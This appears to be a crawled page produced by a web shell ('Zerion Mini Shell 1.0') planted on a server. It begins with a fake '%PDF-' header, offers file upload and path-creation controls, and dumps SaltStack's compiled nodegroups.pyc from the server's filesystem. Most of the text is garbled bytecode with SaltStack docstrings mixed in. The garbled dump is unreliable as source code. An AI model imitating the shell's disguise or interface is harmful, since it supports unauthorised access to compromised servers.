%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/pillar/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/pillar/nodegroups.pyc

�
���^c@@sXdZddlmZmZmZddlmZddlmZdZ	dd�ZdS(u�
Nodegroups Pillar
=================

Introspection: to which nodegroups does my minion belong?
Provides a pillar with the default name of `nodegroups`
which contains a list of nodegroups which match for a given minion.

.. versionadded:: 2016.11.0

Command Line
------------

.. code-block:: bash

    salt-call pillar.get nodegroups
    local:
        - class_infra
        - colo_sj
        - state_active
        - country_US
        - type_saltmaster

Configuring Nodegroups Pillar
-----------------------------

.. code-block:: yaml

    extension_modules: /srv/salt/ext
    ext_pillar:
      - nodegroups:
          pillar_name: 'nodegroups'

i(tabsolute_importtprint_functiontunicode_literals(t	CkMinions(tsixu0.0.2c	C@s�|p	d}td}g}d}xetj|�D]T}|pGtt�}|j||d�}|d}||kr2|j|�q2q2Wi||6S(u�
    A salt external pillar which provides the list of nodegroups of which the minion is a member.

    :param minion_id: used for compound matching nodegroups
    :param pillar: provided by salt, but not used by nodegroups ext_pillar
    :param pillar_name: optional name to use for the pillar, defaults to 'nodegroups'
    :return: a dictionary which is included by the salt master in the pillars returned to the minion
    u
nodegroupsucompounduminionsN(t__opts__tNoneRtiterkeysRt
check_minionstappend(	t	minion_idtpillartpillar_nametall_nodegroupstnodegroups_minion_is_int	ckminionstnodegroup_namet_restmatch((s:/usr/lib/python2.7/site-packages/salt/pillar/nodegroups.pyt
ext_pillar1s

	
N(t__doc__t
__future__RRRtsalt.utils.minionsRtsalt.extRt__version__RR(((s:/usr/lib/python2.7/site-packages/salt/pillar/nodegroups.pyt<module>#s


Zerion Mini Shell 1.0